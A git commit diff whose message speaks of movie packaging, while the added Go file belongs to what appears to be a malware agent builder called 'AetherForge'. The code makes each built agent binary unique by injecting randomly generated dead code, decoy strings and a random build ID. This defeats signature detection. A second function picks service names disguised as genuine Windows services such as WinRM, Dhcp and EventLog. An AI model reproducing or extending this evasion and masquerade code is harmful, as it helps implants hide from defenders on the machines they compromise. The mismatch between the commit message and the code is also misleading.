Add movie fusion packages with locked media, ZIP export, and batch forge UI.
Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
This commit is contained in:
171
server/internal/builder/polymorph.go
Normal file
171
server/internal/builder/polymorph.go
Normal file
@@ -0,0 +1,171 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"hash/fnv"
|
||||
mrand "math/rand"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// injectPolymorph writes a unique deadcode.go and returns extra -ldflags (buildid, nonce).
|
||||
func injectPolymorph(agentDir, seed string) (extraLdflags string, err error) {
|
||||
if seed == "" {
|
||||
b := make([]byte, 16)
|
||||
_, _ = rand.Read(b)
|
||||
seed = hex.EncodeToString(b)
|
||||
}
|
||||
|
||||
h := fnv.New64a()
|
||||
_, _ = h.Write([]byte(seed))
|
||||
rng := mrand.New(mrand.NewSource(int64(h.Sum64())))
|
||||
|
||||
buildIDHex := hex.EncodeToString(randomBytes(rng, 8))
|
||||
nonce := hex.EncodeToString(randomBytes(rng, 12))
|
||||
|
||||
funcCount := 6 + rng.Intn(8)
|
||||
var funcDefs strings.Builder
|
||||
var funcNames []string
|
||||
for i := 0; i < funcCount; i++ {
|
||||
name := "dead_" + randomIdent(rng, 10+rng.Intn(8))
|
||||
funcNames = append(funcNames, name)
|
||||
funcDefs.WriteString(generateDeadFunc(name, rng))
|
||||
}
|
||||
|
||||
strCount := 24 + rng.Intn(32)
|
||||
var strLines strings.Builder
|
||||
for i := 0; i < strCount; i++ {
|
||||
s := randomString(rng, 16+rng.Intn(48))
|
||||
strLines.WriteString(fmt.Sprintf("\t%q,\n", s))
|
||||
}
|
||||
|
||||
var tableEntries strings.Builder
|
||||
for _, n := range funcNames {
|
||||
tableEntries.WriteString("\t\t" + n + ",\n")
|
||||
}
|
||||
|
||||
content := fmt.Sprintf(`// Code generated by AetherForge polymorphic forge — DO NOT EDIT
|
||||
// Build seed: %s
|
||||
|
||||
package polymorph
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/hex"
|
||||
)
|
||||
|
||||
const buildNonce = %q
|
||||
|
||||
var decoyStrings = []string{
|
||||
%s}
|
||||
|
||||
var buildMarker = %q
|
||||
|
||||
func init() {
|
||||
_ = initDecoys()
|
||||
}
|
||||
|
||||
func initDecoys() int {
|
||||
sum := 0
|
||||
for _, fn := range deadFuncTable {
|
||||
sum += fn()
|
||||
}
|
||||
if len(decoyStrings) > 0 {
|
||||
h := md5.Sum([]byte(buildMarker + buildNonce))
|
||||
sum += int(h[0]) ^ int(decoyStrings[len(decoyStrings)-1][0])
|
||||
}
|
||||
_ = hex.EncodeToString([]byte(buildNonce))
|
||||
return sum
|
||||
}
|
||||
|
||||
func deadFuncTable() []func() int {
|
||||
return []func() int{
|
||||
%s }
|
||||
}
|
||||
|
||||
%s
|
||||
`, seed, nonce, strLines.String(), buildIDHex, tableEntries.String(), funcDefs.String())
|
||||
|
||||
dir := filepath.Join(agentDir, "polymorph")
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(dir, "deadcode.go"), []byte(content), 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
extraLdflags = fmt.Sprintf(` -buildid=%s -X main.polymorphNonce=%s`, buildIDHex, nonce)
|
||||
return extraLdflags, nil
|
||||
}
|
||||
|
||||
func generateDeadFunc(name string, rng *mrand.Rand) string {
|
||||
ops := 4 + rng.Intn(6)
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("//go:noinline\nfunc %s() int {\n\tx := %d\n", name, rng.Intn(99999)+1))
|
||||
for i := 0; i < ops; i++ {
|
||||
switch rng.Intn(4) {
|
||||
case 0:
|
||||
b.WriteString(fmt.Sprintf("\tx = (x * %d) ^ %d\n", rng.Intn(127)+2, rng.Intn(4096)))
|
||||
case 1:
|
||||
b.WriteString(fmt.Sprintf("\tx += len(decoyStrings[%d %% len(decoyStrings)])\n", rng.Intn(8)))
|
||||
case 2:
|
||||
b.WriteString(fmt.Sprintf("\tif x > %d { x -= %d }\n", rng.Intn(5000), rng.Intn(500)))
|
||||
default:
|
||||
b.WriteString(fmt.Sprintf("\tx = x<<1 | (x >> %d)\n", 1+rng.Intn(3)))
|
||||
}
|
||||
}
|
||||
b.WriteString("\treturn x & 0xffff\n}\n\n")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func randomBytes(rng *mrand.Rand, n int) []byte {
|
||||
b := make([]byte, n)
|
||||
for i := range b {
|
||||
b[i] = byte(rng.Intn(256))
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func randomIdent(rng *mrand.Rand, n int) string {
|
||||
const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
out := make([]byte, n)
|
||||
for i := range out {
|
||||
out[i] = chars[rng.Intn(len(chars))]
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
|
||||
func randomString(rng *mrand.Rand, n int) string {
|
||||
const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ./-_"
|
||||
out := make([]byte, n)
|
||||
for i := range out {
|
||||
out[i] = chars[rng.Intn(len(chars))]
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
|
||||
func pickServiceMasquerade(seed string) (serviceName, donor string) {
|
||||
profiles := []struct{ name, donor string }{
|
||||
{"WinrmHostSvc", "WinRM"},
|
||||
{"WcmsvcWorker", "Wcmsvc"},
|
||||
{"DhcpMonitorHost", "Dhcp"},
|
||||
{"DnscacheSync", "Dnscache"},
|
||||
{"EventLogFwd", "EventLog"},
|
||||
{"LanmanWorkstationMgr", "LanmanWorkstation"},
|
||||
{"RpcEptMapperHost", "RpcEptMapper"},
|
||||
{"ScheduleHostSvc", "Schedule"},
|
||||
{"ShellHWDetectionMon", "ShellHWDetection"},
|
||||
{"TrkWksHost", "TrkWks"},
|
||||
}
|
||||
h := fnv.New32a()
|
||||
_, _ = h.Write([]byte(seed))
|
||||
idx := int(h.Sum32()) % len(profiles)
|
||||
if idx < 0 {
|
||||
idx = -idx
|
||||
}
|
||||
p := profiles[idx]
|
||||
return p.name, p.donor
|
||||
}
|
||||
Reference in New Issue
Block a user